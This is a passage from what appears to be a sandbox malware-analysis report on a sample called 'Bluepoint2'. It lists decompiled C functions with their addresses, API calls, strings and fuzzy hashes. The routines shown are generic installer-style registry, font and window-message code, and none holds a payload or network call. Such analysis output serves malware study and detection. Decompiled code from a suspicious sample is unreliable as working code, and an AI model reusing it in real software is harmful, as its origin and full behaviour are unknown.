                                                    • Instruction Fuzzy Hash: 9451E6F2D00148EACF069FBCC48069D7BB6EB403C4F1061DBD402B32D8E671AA96C7A5
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 48%
                                                    			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
                                                    				void* _v8;
                                                    				int _v12;
                                                    				short _v536;
                                                    				void* _t27;
                                                    				signed int _t33;
                                                    				intOrPtr* _t35;
                                                    				signed int _t45;
                                                    				signed int _t46;
                                                    				signed int _t47;
                                                    
                                                    				_t46 = _a12;
                                                    				_t47 = _t46 & 0x00000300;
                                                    				_t45 = _t46 & 0x00000001;
                                                    				_t27 = E004064D5(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
                                                    				if(_t27 == 0) {
                                                    					if((_a12 & 0x00000002) == 0) {
                                                    						L3:
                                                    						_push(0x105);
                                                    						_push( &_v536);
                                                    						_push(0);
                                                    						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
                                                    							__eflags = _t45;
                                                    							if(__eflags != 0) {
                                                    								L10:
                                                    								RegCloseKey(_v8);
                                                    								return 0x3eb;
                                                    							}
                                                    							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
                                                    							__eflags = _t33;
                                                    							if(_t33 != 0) {
                                                    								break;
                                                    							}
                                                    							_push(0x105);
                                                    							_push( &_v536);
                                                    							_push(_t45);
                                                    						}
                                                    						RegCloseKey(_v8);
                                                    						_t35 = E00406A35(3);
                                                    						if(_t35 != 0) {
                                                    							return  *_t35(_a4, _a8, _t47, 0);
                                                    						}
                                                    						return RegDeleteKeyW(_a4, _a8);
                                                    					}
                                                    					_v12 = 0;
                                                    					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
                                                    						goto L10;
                                                    					}
                                                    					goto L3;
                                                    				}
                                                    				return _t27;
                                                    			}












                                                    0x00402eb4
                                                    0x00402ebd
                                                    0x00402ec6
                                                    0x00402ed2
                                                    0x00402edb
                                                    0x00402ee5
                                                    0x00402f0a
                                                    0x00402f10
                                                    0x00402f15
                                                    0x00402f16
                                                    0x00402f46
                                                    0x00402f1f
                                                    0x00402f21
                                                    0x00402f71
                                                    0x00402f74
                                                    0x00000000
                                                    0x00402f7a
                                                    0x00402f30
                                                    0x00402f35
                                                    0x00402f37
                                                    0x00000000
                                                    0x00000000
                                                    0x00402f3f
                                                    0x00402f44
                                                    0x00402f45
                                                    0x00402f45
                                                    0x00402f52
                                                    0x00402f5a
                                                    0x00402f61
                                                    0x00000000
                                                    0x00402f8a
                                                    0x00000000
                                                    0x00402f69
                                                    0x00402ef5
                                                    0x00402f08
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00402f08
                                                    0x00402f90

                                                    APIs
                                                    • RegEnumValueW.ADVAPI32 ref: 00402EFD
                                                    • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
                                                    • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
                                                    • RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
                                                    • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CloseEnum$DeleteValue
                                                    • String ID:
                                                    • API String ID: 1354259210-0
                                                    • Opcode ID: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
                                                    • Instruction ID: 37c7ba0f9c491dd7f389852fcb35a119484072d927876f68e32cbd91f0a54eef
                                                    • Opcode Fuzzy Hash: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
                                                    • Instruction Fuzzy Hash: 6D216B7150010ABBDF11AF94CE89EEF7B7DEB50384F110076F909B21E0D7B49E54AA68
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 77%
                                                    			E00401D81(void* __ebx, void* __edx) {
                                                    				struct HWND__* _t30;
                                                    				WCHAR* _t38;
                                                    				void* _t48;
                                                    				void* _t53;
                                                    				signed int _t55;
                                                    				signed int _t60;
                                                    				long _t63;
                                                    				void* _t65;
                                                    
                                                    				_t53 = __ebx;
                                                    				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
                                                    					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
                                                    				} else {
                                                    					E00402D84(2);
                                                    					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
                                                    				}
                                                    				_t55 =  *(_t65 - 0x24);
                                                    				 *(_t65 + 8) = _t30;
                                                    				_t60 = _t55 & 0x00000004;
                                                    				 *(_t65 - 0x38) = _t55 & 0x00000003;
                                                    				 *(_t65 - 0x18) = _t55 >> 0x1f;
                                                    				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
                                                    				if((_t55 & 0x00010000) == 0) {
                                                    					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
                                                    				} else {
                                                    					_t38 = E00402DA6(0x11);
                                                    				}
                                                    				 *(_t65 - 0x44) = _t38;
                                                    				GetClientRect( *(_t65 + 8), _t65 - 0x60);
                                                    				asm("sbb esi, esi");
                                                    				_t63 = LoadImageW( ~_t60 &  *0x42a260,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
                                                    				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
                                                    				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
                                                    					DeleteObject(_t48);
                                                    				}
                                                    				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
                                                    					_push(_t63);
                                                    					E004065AF();
                                                    				}
                                                    				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t65 - 4));
                                                    				return 0;
                                                    			}











                                                    0x00401d81
                                                    0x00401d85
                                                    0x00401d9a
                                                    0x00401d87
                                                    0x00401d89
                                                    0x00401d8f
                                                    0x00401d8f
                                                    0x00401da0
                                                    0x00401da3
                                                    0x00401dad
                                                    0x00401db0
                                                    0x00401db8
                                                    0x00401dc9
                                                    0x00401dcc
                                                    0x00401dd7
                                                    0x00401dce
                                                    0x00401dd0
                                                    0x00401dd0
                                                    0x00401ddb
                                                    0x00401de5
                                                    0x00401e0c
                                                    0x00401e1b
                                                    0x00401e29
                                                    0x00401e31
                                                    0x00401e39
                                                    0x00401e39
                                                    0x00401e42
                                                    0x00401e48
                                                    0x00402ba4
                                                    0x00402ba4
                                                    0x00402c2d
                                                    0x00402c39

                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                    • String ID:
                                                    • API String ID: 1849352358-0
                                                    • Opcode ID: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
                                                    • Instruction ID: 4d725fdcf847a80329c23b38d7164c003567f542edd6fcacfb34c9ebeef40da9
                                                    • Opcode Fuzzy Hash: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
                                                    • Instruction Fuzzy Hash: 67212672904119AFCB05CBA4DE45AEEBBB5EF08304F14003AF945F62A0CB389951DB98
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 73%
                                                    			E00401E4E(intOrPtr __edx) {
                                                    				void* __edi;
                                                    				int _t9;
                                                    				signed char _t15;
                                                    				struct HFONT__* _t18;
                                                    				intOrPtr _t30;
                                                    				void* _t31;
                                                    				struct HDC__* _t33;
                                                    				void* _t35;
                                                    
                                                    				_t30 = __edx;
                                                    				_t33 = GetDC( *(_t35 - 8));
                                                    				_t9 = E00402D84(2);
                                                    				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
                                                    				0x40cdf8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
                                                    				ReleaseDC( *(_t35 - 8), _t33);
                                                    				 *0x40ce08 = E00402D84(3);
                                                    				_t15 =  *((intOrPtr*)(_t35 - 0x20));
                                                    				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
                                                    				 *0x40ce0f = 1;
                                                    				 *0x40ce0c = _t15 & 0x00000001;
                                                    				 *0x40ce0d = _t15 & 0x00000002;
                                                    				 *0x40ce0e = _t15 & 0x00000004;
                                                    				E004066A5(_t9, _t31, _t33, 0x40ce14,  *((intOrPtr*)(_t35 - 0x2c)));
                                                    				_t18 = CreateFontIndirectW(0x40cdf8);
                                                    				_push(_t18);
                                                    				_push(_t31);
                                                    				E004065AF();
                                                    				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t35 - 4));
                                                    				return 0;
                                                    			}











                                                    0x00401e4e
                                                    0x00401e59
                                                    0x00401e5b
                                                    0x00401e68
                                                    0x00401e7f
                                                    0x00401e84
                                                    0x00401e91
                                                    0x00401e96
                                                    0x00401e9a
                                                    0x00401ea5
                                                    0x00401eac
                                                    0x00401ebe
                                                    0x00401ec4
                                                    0x00401ec9
                                                    0x00401ed3
                                                    0x00402638
                                                    0x0040156d
                                                    0x00402ba4
                                                    0x00402c2d
                                                    0x00402c39

                                                    APIs
                                                    • GetDC.USER32(?), ref: 00401E51
                                                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
                                                    • MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
                                                    • ReleaseDC.USER32 ref: 00401E84
                                                      • Part of subcall function 004066A5: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
                                                      • Part of subcall function 004066A5: lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4
                                                    • CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
                                                    • String ID:
                                                    • API String ID: 2584051700-0
                                                    • Opcode ID: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
                                                    • Instruction ID: b9cc094806d22c325402cb6ccb5f5134c2025175c414775df3ff87de861ccae2
                                                    • Opcode Fuzzy Hash: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
                                                    • Instruction Fuzzy Hash: 8401B571900241EFEB005BB4EE89A9A3FB0AB15301F208939F541B71D2C6B904459BED
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 59%
                                                    			E00401C43(intOrPtr __edx) {
                                                    				int _t29;
                                                    				long _t30;
                                                    				signed int _t32;
                                                    				WCHAR* _t35;
                                                    				long _t36;
                                                    				int _t41;
                                                    				signed int _t42;
                                                    				int _t46;
                                                    				int _t56;
                                                    				intOrPtr _t57;
                                                    				struct HWND__* _t63;
                                                    				void* _t64;
                                                    
                                                    				_t57 = __edx;
                                                    				_t29 = E00402D84(3);
                                                    				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
                                                    				 *(_t64 - 0x18) = _t29;
                                                    				_t30 = E00402D84(4);
                                                    				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
                                                    				 *(_t64 + 8) = _t30;
                                                    				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
                                                    					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
                                                    				}
                                                    				__eflags =  *(_t64 - 0x1c) & 0x00000002;
                                                    				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
                                                    					 *(_t64 + 8) = E00402DA6(0x44);
                                                    				}
                                                    				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
                                                    				_push(1);
                                                    				if(__eflags != 0) {
                                                    					_t61 = E00402DA6();
                                                    					_t32 = E00402DA6();
                                                    					asm("sbb ecx, ecx");
                                                    					asm("sbb eax, eax");
                                                    					_t35 =  ~( *_t31) & _t61;
                                                    					__eflags = _t35;
                                                    					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
                                                    					goto L10;
                                                    				} else {
                                                    					_t63 = E00402D84();
                                                    					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
                                                    					_t41 = E00402D84(2);
                                                    					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
                                                    					_t56 =  *(_t64 - 0x1c) >> 2;
                                                    					if(__eflags == 0) {
                                                    						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
                                                    						L10:
                                                    						 *(_t64 - 0x38) = _t36;
                                                    					} else {
                                                    						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
                                                    						asm("sbb eax, eax");
                                                    						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
                                                    					}
                                                    				}
                                                    				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
                                                    				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
                                                    					_push( *(_t64 - 0x38));
                                                    					E004065AF();
                                                    				}
                                                    				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t64 - 4));
                                                    				return 0;
                                                    			}















                                                    0x00401c43
                                                    0x00401c45
                                                    0x00401c4c
                                                    0x00401c4f
                                                    0x00401c52
                                                    0x00401c5c
                                                    0x00401c60
                                                    0x00401c63
                                                    0x00401c6c
                                                    0x00401c6c
                                                    0x00401c6f
                                                    0x00401c73
                                                    0x00401c7c
                                                    0x00401c7c
                                                    0x00401c7f
                                                    0x00401c83
                                                    0x00401c85
                                                    0x00401cda
                                                    0x00401cdc
                                                    0x00401ce7
                                                    0x00401cf1
                                                    0x00401cf4
                                                    0x00401cf4
                                                    0x00401cfd
                                                    0x00000000
                                                    0x00401c87
                                                    0x00401c8e
                                                    0x00401c90
                                                    0x00401c93
                                                    0x00401c99
                                                    0x00401ca0
                                                    0x00401ca3
                                                    0x00401ccb
                                                    0x00401d03
                                                    0x00401d03
                                                    0x00401ca5
                                                    0x00401cb3
                                                    0x00401cbb
                                                    0x00401cbe
                                                    0x00401cbe
                                                    0x00401ca3
                                                    0x00401d06
                                                    0x00401d09
                                                    0x00401d0f
                                                    0x00402ba4
                                                    0x00402ba4
                                                    0x00402c2d
                                                    0x00402c39

                                                    APIs
                                                    • SendMessageTimeoutW.USER32 ref: 00401CB3
                                                    • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSend$Timeout
                                                    • String ID: !
                                                    • API String ID: 1777923405-2657877971
                                                    • Opcode ID: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
                                                    • Instruction ID: e1c20d37316975b9b94706f7b3abd8da4b7b3b5136eece5bd2aa3cbae88a6c19
                                                    • Opcode Fuzzy Hash: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
                                                    • Instruction Fuzzy Hash: 28219E7190420AEFEF05AFA4D94AAAE7BB4FF44304F14453EF601B61D0D7B88941CB98
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 85%
                                                    			E0040248A(void* __eax, int __ebx, intOrPtr __edx) {
                                                    				void* _t20;
                                                    				void* _t21;
                                                    				int _t24;
                                                    				char _t27;
                                                    				int _t30;
                                                    				void* _t32;
                                                    				intOrPtr _t33;
                                                    				void* _t34;
                                                    				intOrPtr _t37;
                                                    				void* _t39;
                                                    				void* _t42;
                                                    
                                                    				_t33 = __edx;
                                                    				_t30 = __ebx;
                                                    				_t37 =  *((intOrPtr*)(_t39 - 0x20));
                                                    				_t34 = __eax;
                                                    				 *(_t39 - 0x10) =  *(_t39 - 0x1c);
                                                    				 *(_t39 - 0x44) = E00402DA6(2);
                                                    				_t20 = E00402DA6(0x11);
                                                    				 *(_t39 - 4) = 1;
                                                    				_t21 = E00402E36(_t42, _t34, _t20, 2);
                                                    				 *(_t39 + 8) = _t21;
                                                    				if(_t21 != __ebx) {
                                                    					_t24 = 0;
                                                    					if(_t37 == 1) {
                                                    						E00402DA6(0x23);
                                                    						_t24 = lstrlenW(0x40b5f8) + _t29 + 2;
                                                    					}
                                                    					if(_t37 == 4) {
                                                    						_t27 = E00402D84(3);
                                                    						_pop(_t32);
                                                    						 *0x40b5f8 = _t27;
                                                    						 *((intOrPtr*)(_t39 - 0x38)) = _t33;
                                                    						_t24 = _t37;
                                                    					}
                                                    					if(_t37 == 3) {
                                                    						_t24 = E00403371(_t32,  *((intOrPtr*)(_t39 - 0x24)), _t30, 0x40b5f8, 0x1800);
                                                    					}
                                                    					if(RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x44), _t30,  *(_t39 - 0x10), 0x40b5f8, _t24) == 0) {
                                                    						 *(_t39 - 4) = _t30;
                                                    					}
                                                    					_push( *(_t39 + 8));
                                                    					RegCloseKey();
                                                    				}
                                                    				 *0x42a2e8 =  *0x42a2e8 +  *(_t39 - 4);
                                                    				return 0;
                                                    			}














                                                    0x0040248a
                                                    0x0040248a
                                                    0x0040248a
                                                    0x0040248d
                                                    0x00402494
                                                    0x0040249e
                                                    0x004024a1
                                                    0x004024aa
                                                    0x004024b1
                                                    0x004024b8
                                                    0x004024bb
                                                    0x004024c1
                                                    0x004024cb
                                                    0x004024cf
                                                    0x004024da
                                                    0x004024da
                                                    0x004024e1
                                                    0x004024e5
                                                    0x004024ea
                                                    0x004024eb
                                                    0x004024f1
                                                    0x004024f4
                                                    0x004024f4
                                                    0x004024f8
                                                    0x00402504
                                                    0x00402504
                                                    0x0040251d
                                                    0x0040251f
                                                    0x0040251f
                                                    0x00402522
                                                    0x004025fd
                                                    0x004025fd
                                                    0x00402c2d
                                                    0x00402c39

                                                    APIs
                                                    • lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsg1F62.tmp,00000023,00000011,00000002), ref: 004024D5
                                                    • RegSetValueExW.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsg1F62.tmp,00000000,00000011,00000002), ref: 00402515
                                                    • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsg1F62.tmp,00000000,00000011,00000002), ref: 004025FD
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CloseValuelstrlen
                                                    • String ID: C:\Users\user\AppData\Local\Temp\nsg1F62.tmp
                                                    • API String ID: 2655323295-37651247
                                                    • Opcode ID: 2c9c4c0baa2399e38114195eed6ba3c931801a1fff8a52bb7ff1bd283087c782
                                                    • Instruction ID: a516967871aadb8e7373f7254d3c24ec0cdbd982f2b4049ed7d94b0996b6da2b
                                                    • Opcode Fuzzy Hash: 2c9c4c0baa2399e38114195eed6ba3c931801a1fff8a52bb7ff1bd283087c782
                                                    • Instruction Fuzzy Hash: 4011AF71E00108BEEF10AFA1CE49EAEB6B8EB44354F11443AF404B61C1DBB98D409658
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 91%
                                                    			E00406536(void* __ecx, void* __eflags, char _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
                                                    				int _v8;
                                                    				long _t21;
                                                    				long _t24;
                                                    				char* _t30;
                                                    
                                                    				asm("sbb eax, eax");
                                                    				_v8 = 0x800;
                                                    				_t5 =  &_a4; // 0x422728
                                                    				_t21 = E004064D5(__eflags,  *_t5, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
                                                    				_t30 = _a16;
                                                    				if(_t21 != 0) {
                                                    					L4:
                                                    					 *_t30 =  *_t30 & 0x00000000;
                                                    				} else {
                                                    					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
                                                    					_t21 = RegCloseKey(_a20);
                                                    					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
                                                    					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
                                                    						goto L4;
                                                    					}
                                                    				}
                                                    				return _t21;
                                                    			}







                                                    0x00406544
                                                    0x00406546
                                                    0x0040655b
                                                    0x0040655e
                                                    0x00406563
                                                    0x00406568
                                                    0x004065a6
                                                    0x004065a6
                                                    0x0040656a
                                                    0x0040657c
                                                    0x00406587
                                                    0x0040658d
                                                    0x00406598
                                                    0x00000000
                                                    0x00000000
                                                    0x00406598
                                                    0x004065ac

                                                    APIs
                                                    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,0040A230,00000000,('B,00000000,?,?,Call,?,?,0040679D,80000002), ref: 0040657C
                                                    • RegCloseKey.ADVAPI32(?,?,0040679D,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422728), ref: 00406587
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CloseQueryValue
                                                    • String ID: ('B$Call
                                                    • API String ID: 3356406503-2122505255
                                                    • Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
                                                    • Instruction ID: 52dd0fe420a7c1e2827d1a164217834099ee72e945ce70567094b216899e5676
                                                    • Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
                                                    • Instruction Fuzzy Hash: C4017C72500209FADF21CF51DD09EDB3BA8EF54364F01803AFD1AA2190D738D964DBA4
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 58%
                                                    			E00405F37(WCHAR* _a4) {
                                                    				WCHAR* _t9;
                                                    
                                                    				_t9 = _a4;
                                                    				_push( &(_t9[lstrlenW(_t9)]));
                                                    				_push(_t9);
                                                    				if( *(CharPrevW()) != 0x5c) {
                                                    					lstrcatW(_t9, 0x40a014);
                                                    				}
                                                    				return _t9;
                                                    			}




                                                    0x00405f38
                                                    0x00405f45
                                                    0x00405f46
                                                    0x00405f51
                                                    0x00405f59
                                                    0x00405f59
                                                    0x00405f61

                                                    APIs
                                                    • lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F3D
                                                    • CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F47
                                                    • lstrcatW.KERNEL32(?,0040A014), ref: 00405F59
                                                    Strings
                                                    • C:\Users\user\AppData\Local\Temp\, xrefs: 00405F37
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
